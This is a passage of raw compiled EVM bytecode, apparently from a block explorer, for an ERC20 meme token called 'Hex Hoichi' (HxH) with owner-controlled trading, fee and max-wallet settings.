1610cd090612b33565b60405180910390fd5b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d2c6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610d4a610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790612b33565b60405180910390fd5b610daa6000611c79565b565b60085481565b6000601654905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600381526020017f4878480000000000000000000000000000000000000000000000000000000000815250905090565b600e5481565b610e366113cb565b73ffffffffffffffffffffffffffffffffffffffff16610e54610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190612b33565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f3f610f386113cb565b848461159c565b6001905092915050565b600b5481565b60095481565b610f5d6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610f7b610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc890612b33565b60405180910390fd5b600560009054906101000a900460ff16601360146101000a81548160ff021916908315150217905550565b600f5481565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b61109d6113cb565b73ffffffffffffffffffffffffffffffffffffffff166110bb610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890612b33565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6111746113cb565b73ffffffffffffffffffffffffffffffffffffffff16611192610dbc565b73ffffffffffffffffffffffffffffffffffffffff16146111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90612b33565b60405180910390fd5b6009600a6111f69190612cdc565b816112019190612d27565b60158190555050565b6112126113cb565b73ffffffffffffffffffffffffffffffffffffffff16611230610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612b33565b60405180910390fd5b6009600a6112949190612cdc565b8261129f9190612d27565b6016819055506009600a6112b39190612cdc565b816112be9190612d27565b6015819055505050565b60065481565b6112d66113cb565b73ffffffffffffffffffffffffffffffffffffffff166112f4610dbc565b73ffffffffffffffffffffffffffffffffffffffff161461134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612b33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b090612df3565b60405180910390fd5b6113c281611c79565b50565b600a5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611442576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143990612e85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890612f17565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161158f919061283b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361160b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160290612fa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361167a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116719061303b565b60405180910390fd5b600081116116bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b4906130cd565b60405180910390fd5b6116c683610cdb565b811115611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff9061315f565b60405180910390fd5b601360149054906101000a900460ff168061176c5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117c05750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6117ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f6906131cb565b60405180910390fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118aa5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119005750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119a35760165481111561194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194190613237565b60405180910390fd5b6015548161195784610cdb565b6119619190612b53565b11156119a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611999906132a3565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a4e5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611aa45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0257601554611ab583610cdb565b82611ac09190612b53565b1115611b01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af890613335565b60405180910390fd5b5b6000611b0d30610cdb565b9050601360159054906101000a900460ff16158015611b7a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b925750601360169054906101000a900460ff165b8015611b9e5750600081115b15611bc657611bac81611d3d565b60004790506000811115611bc457611bc347611fb6565b5b505b611c73848484600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6d5750600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612022565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601360156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d7557611d74613355565b5b604051908082528060200260200182016040528015611da35781602001602082028036833780820191505090505b5090503081600081518110611dbb57611dba613384565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8691906133c8565b81600181518110611e9a57611e99613384565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f0130601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113d3565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f659594939291906134f8565b600060405180830381600087803b158015611f7f57600080fd5b505af1158015611f93573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561201e573d6000803e3d6000fd5b5050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120719190612ab3565b925050819055506000816120855782612091565b612090858585612155565b5b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120e29190612b53565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612146919061283b565b60405180910390a35050505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121b657506000600954115b1561225957601160009054906101000a900461ffff1661ffff16600654836121de9190612d27565b6121e89190613581565b600e81905550601160009054906101000a900461ffff1661ffff16600754836122119190612d27565b61221b9190613581565b600f81905550601160009054906101000a900461ffff1661ffff16600854836122449190612d27565b61224e9190613581565b601081905550612358565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122b857506000600d54115b1561235757601160009054906101000a900461ffff1661ffff16600a54836122e09190612d27565b6122ea9190613581565b600e81905550601160009054906101000a900461ffff1661ffff16600b54836123139190612d27565b61231d9190613581565b600f81905550601160009054906101000a900461ffff1661ffff16600c54836123469190612d27565b6123509190613581565b6010819055505b5b600e5460016000601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123cb9190612b53565b92505081905550601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600e54604051612453919061283b565b60405180910390a3600f546001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124ae9190612b53565b92505081905550600f546014546124c59190612ab3565b6014819055506124d36108c8565b60148190555061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600f5460405161253a919061283b565b60405180910390a3601054600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125939190612b53565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040516125f9919061283b565b60405180910390a36000601054600f54600e546126169190612b53565b6126209190612b53565b9050808361262e9190612ab3565b9150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061266382612638565b9050919050565b61267381612658565b82525050565b600060208201905061268e600083018461266a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126ce5780820151818401526020810190506126b3565b838111156126dd576000848401525b50505050565b6000601f19601f8301169050919050565b60006126ff82612694565b612709818561269f565b93506127198185602086016126b0565b612722816126e3565b840191505092915050565b6000602082019050818103600083015261274781846126f4565b905092915050565b600080fd5b61275d81612658565b811461276857600080fd5b50565b60008135905061277a81612754565b92915050565b6000819050919050565b61279381612780565b811461279e57600080fd5b50565b6000813590506127b08161278a565b92915050565b600080604083850312156127cd576127cc61274f565b5b60006127db8582860161276b565b92505060206127ec858286016127a1565b9150509250929050565b60008115159050919050565b61280b816127f6565b82525050565b60006020820190506128266000830184612802565b92915050565b61283581612780565b82525050565b6000602082019050612850600083018461282c565b92915050565b600061ffff82169050919050565b61286d81612856565b82525050565b60006020820190506128886000830184612864565b92915050565b6000806000606084860312156128a7576128a661274f565b5b60006128b58682870161276b565b93505060206128c68682870161276b565b92505060406128d7868287016127a1565b9150509250925092565b600060ff82169050919050565b6128f7816128e1565b82525050565b600060208201905061291260008301846128ee565b92915050565b60006020828403121561292e5761292d61274f565b5b600061293c8482850161276b565b91505092915050565b6000806040838503121561295c5761295b61274f565b5b600061296a8582860161276b565b925050602061297b8582860161276b565b9150509250929050565b60006020828403121561299b5761299a61274f565b5b60006129a9848285016127a1565b91505092915050565b600080604083850312156129c9576129c861274f565b5b60006129d7858286016127a1565b92505060206129e8858286016127a1565b9150509250929050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612a4e60288361269f565b9150612a59826129f2565b604082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612abe82612780565b9150612ac983612780565b925082821015612adc57612adb612a84565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b1d60208361269f565b9150612b2882612ae7565b602082019050919050565b60006020820190508181036000830152612b4c81612b10565b9050919050565b6000612b5e82612780565b9150612b6983612780565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b9e57612b9d612a84565b5b828201905092915050565b60008160011c9050919050565b6000808291508390505b6001851115612c0057808604811115612bdc57612bdb612a84565b5b6001851615612beb5780820291505b8081029050612bf985612ba9565b9450612bc0565b94509492505050565b600082612c195760019050612cd5565b81612c275760009050612cd5565b8160018114612c3d5760028114612c4757612c76565b6001915050612cd5565b60ff841115612c5957612c58612a84565b5b8360020a915084821115612c7057612c6f612a84565b5b50612cd5565b5060208310610133831016604e8410600b8410161715612cab5782820a905083811115612ca657612ca5612a84565b5b612cd5565b612cb88484846001612bb6565b92509050818404811115612ccf57612cce612a84565b5b81810290505b9392505050565b6000612ce782612780565b9150612cf2836128e1565b9250612d1f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c09565b905092915050565b6000612d3282612780565b9150612d3d83612780565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d7657612d75612a84565b5b828202905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ddd60268361269f565b9150612de882612d81565b604082019050919050565b60006020820190508181036000830152612e0c81612dd0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e6f60248361269f565b9150612e7a82612e13565b604082019050919050565b60006020820190508181036000830152612e9e81612e62565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f0160228361269f565b9150612f0c82612ea5565b604082019050919050565b60006020820190508181036000830152612f3081612ef4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f9360258361269f565b9150612f9e82612f37565b604082019050919050565b60006020820190508181036000830152612fc281612f86565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061302560238361269f565b915061303082612fc9565b604082019050919050565b6000602082019050818103600083015261305481613018565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130b760298361269f565b91506130c28261305b565b604082019050919050565b600060208201905081810360008301526130e6816130aa565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061314960318361269f565b9150613154826130ed565b604082019050919050565b600060208201905081810360008301526131788161313c565b9050919050565b7f54726164696e67206e6f7420656e61626c656420796574000000000000000000600082015250565b60006131b560178361269f565b91506131c08261317f565b602082019050919050565b600060208201905081810360008301526131e4816131a8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061322160198361269f565b915061322c826131eb565b602082019050919050565b6000602082019050818103600083015261325081613214565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061328d601a8361269f565b915061329882613257565b602082019050919050565b600060208201905081810360008301526132bc81613280565b9050919050565b7f526563697069656e742065786365656473206d61782077616c6c65742073697a60008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061331f60228361269f565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506133c281612754565b92915050565b6000602082840312156133de576133dd61274f565b5b60006133ec848285016133b3565b91505092915050565b6000819050919050565b6000819050919050565b600061342461341f61341a846133f5565b6133ff565b612780565b9050919050565b61343481613409565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61346f81612658565b82525050565b60006134818383613466565b60208301905092915050565b6000602082019050919050565b60006134a58261343a565b6134af8185613445565b93506134ba83613456565b8060005b838110156134eb5781516134d28882613475565b97506134dd8361348d565b9250506001810190506134be565b5085935050505092915050565b600060a08201905061350d600083018861282c565b61351a602083018761342b565b818103604083015261352c818661349a565b905061353b606083018561266a565b613548608083018461282c565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061358c82612780565b915061359783612780565b9250826135a7576135a6613552565b5b82820490509291505056fea2646970667358221220664bb36ebd5139d77259a2539a6b10180c6d392c9b47acf45ca824d3004e3b2264736f6c634300080f0033
Deployed Bytecode
0x60806040526004361061021e5760003560e01c80639213691311610123578063cc70acee116100ab578063ebc4b90d1161006f578063ebc4b90d1461078c578063ebece9c9146107b5578063f11a24d3146107de578063f2fde38b14610809578063f63743421461083257610225565b8063cc70acee146106a5578063d0a39814146106d0578063dd62ed3e146106fb578063e71dc3f514610738578063ea2f0b371461076357610225565b8063a8b08982116100f2578063a8b08982146105d0578063a9059cbb146105fb578063adb873bd14610638578063b9e9370014610663578063c9567bf91461068e57610225565b8063921369131461052657806395d89b41146105515780639740a9461461057c5780639f71146d146105a757610225565b80633722355c116101a657806370a082311161017557806370a0823114610451578063715018a61461048e5780637bce5a04146104a557806384d6c8c6146104d05780638da5cb5b146104fb57610225565b80633722355c146103d15780633e0c23b8146103fa578063437823ec1461041157806343f08a941461043a57610225565b806318160ddd116101ed57806318160ddd146102e85780631d6167ac146103135780631f3fed8f1461033e57806323b872dd14610369578063313ce567146103a657610225565b806303fd2a451461022a57806306fdde0314610255578063095ea7b3146102805780630fa604e4146102bd57610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f61085d565b60405161024c9190612679565b60405180910390f35b34801561026157600080fd5b5061026a610863565b604051610277919061272d565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a291906127b6565b6108a0565b6040516102b49190612811565b60405180910390f35b3480156102c957600080fd5b506102d26108be565b6040516102df919061283b565b60405180910390f35b3480156102f457600080fd5b506102fd6108c8565b60405161030a919061283b565b60405180910390f35b34801561031f57600080fd5b506103286108d2565b6040516103359190612873565b60405180910390f35b34801561034a57600080fd5b506103536108e6565b604051610360919061283b565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b919061288e565b6108ec565b60405161039d9190612811565b60405180910390f35b3480156103b257600080fd5b506103bb6109ed565b6040516103c891906128fd565b60405180910390f35b3480156103dd57600080fd5b506103f860048036038101906103f39190612918565b6109f6565b005b34801561040657600080fd5b5061040f610acd565b005b34801561041d57600080fd5b5061043860048036038101906104339190612918565b610b86565b005b34801561044657600080fd5b5061044f610c5d565b005b34801561045d57600080fd5b5061047860048036038101906104739190612918565b610cdb565b604051610485919061283b565b60405180910390f35b34801561049a57600080fd5b506104a3610d24565b005b3480156104b157600080fd5b506104ba610dac565b6040516104c7919061283b565b60405180910390f35b3480156104dc57600080fd5b506104e5610db2565b6040516104f2919061283b565b60405180910390f35b34801561050757600080fd5b50610510610dbc565b60405161051d9190612679565b60405180910390f35b34801561053257600080fd5b5061053b610de5565b604051610548919061283b565b60405180910390f35b34801561055d57600080fd5b50610566610deb565b604051610573919061272d565b60405180910390f35b34801561058857600080fd5b50610591610e28565b60405161059e919061283b565b60405180910390f35b3480156105b357600080fd5b506105ce60048036038101906105c99190612918565b610e2e565b005b3480156105dc57600080fd5b506105e5610f05565b6040516105f29190612679565b60405180910390f35b34801561060757600080fd5b50610622600480360381019061061d91906127b6565b610f2b565b60405161062f9190612811565b60405180910390f35b34801561064457600080fd5b5061064d610f49565b60405161065a919061283b565b60405180910390f35b34801561066f57600080fd5b50610678610f4f565b604051610685919061283b565b60405180910390f35b34801561069a57600080fd5b506106a3610f55565b005b3480156106b157600080fd5b506106ba610ffc565b6040516106c7919061283b565b60405180910390f35b3480156106dc57600080fd5b506106e5611002565b6040516106f2919061283b565b60405180910390f35b34801561070757600080fd5b50610722600480360381019061071d9190612945565b611008565b60405161072f919061283b565b60405180910390f35b34801561074457600080fd5b5061074d61108f565b60405161075a919061283b565b60405180910390f35b34801561076f57600080fd5b5061078a60048036038101906107859190612918565b611095565b005b34801561079857600080fd5b506107b360048036038101906107ae9190612985565b61116c565b005b3480156107c157600080fd5b506107dc60048036038101906107d791906129b2565b61120a565b005b3480156107ea57600080fd5b506107f36112c8565b604051610800919061283b565b60405180910390f35b34801561081557600080fd5b50610830600480360381019061082b9190612918565b6112ce565b005b34801561083e57600080fd5b506108476113c5565b604051610854919061283b565b60405180910390f35b61dead81565b60606040518060400160405280600a81526020017f48657820486f6963686900000000000000000000000000000000000000000000815250905090565b60006108b46108ad6113cb565b84846113d3565b6001905092915050565b6000601554905090565b6000601454905090565b601160009054906101000a900461ffff1681565b60105481565b60006108f984848461159c565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109446113cb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bb90612a64565b60405180910390fd5b6109e1856109d06113cb565b85846109dc9190612ab3565b6113d3565b60019150509392505050565b60006009905090565b6109fe6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610a1c610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6990612b33565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad56113cb565b73ffffffffffffffffffffffffffffffffffffffff16610af3610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090612b33565b60405180910390fd5b6002600a819055506000600b819055506002600c81905550600c54600b54600a54610b749190612b53565b610b7e9190612b53565b600d81905550565b610b8e6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610bac610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf990612b33565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c656113cb565b73ffffffffffffffffffffffffffffffffffffffff16610c83610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090612b33565b60405180910390fd5b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d2c6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610d4a610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790612b33565b60405180910390fd5b610daa6000611c79565b565b60085481565b6000601654905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c5481565b60606040518060400160405280600381526020017f4878480000000000000000000000000000000000000000000000000000000000815250905090565b600e5481565b610e366113cb565b73ffffffffffffffffffffffffffffffffffffffff16610e54610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190612b33565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f3f610f386113cb565b848461159c565b6001905092915050565b600b5481565b60095481565b610f5d6113cb565b73ffffffffffffffffffffffffffffffffffffffff16610f7b610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614610fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc890612b33565b60405180910390fd5b600560009054906101000a900460ff16601360146101000a81548160ff021916908315150217905550565b600f5481565b600d5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b61109d6113cb565b73ffffffffffffffffffffffffffffffffffffffff166110bb610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890612b33565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6111746113cb565b73ffffffffffffffffffffffffffffffffffffffff16611192610dbc565b73ffffffffffffffffffffffffffffffffffffffff16146111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90612b33565b60405180910390fd5b6009600a6111f69190612cdc565b816112019190612d27565b60158190555050565b6112126113cb565b73ffffffffffffffffffffffffffffffffffffffff16611230610dbc565b73ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90612b33565b60405180910390fd5b6009600a6112949190612cdc565b8261129f9190612d27565b6016819055506009600a6112b39190612cdc565b816112be9190612d27565b6015819055505050565b60065481565b6112d66113cb565b73ffffffffffffffffffffffffffffffffffffffff166112f4610dbc565b73ffffffffffffffffffffffffffffffffffffffff161461134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612b33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b090612df3565b60405180910390fd5b6113c281611c79565b50565b600a5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611442576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143990612e85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a890612f17565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161158f919061283b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361160b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160290612fa9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361167a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116719061303b565b60405180910390fd5b600081116116bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b4906130cd565b60405180910390fd5b6116c683610cdb565b811115611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff9061315f565b60405180910390fd5b601360149054906101000a900460ff168061176c5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117c05750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6117ff576040517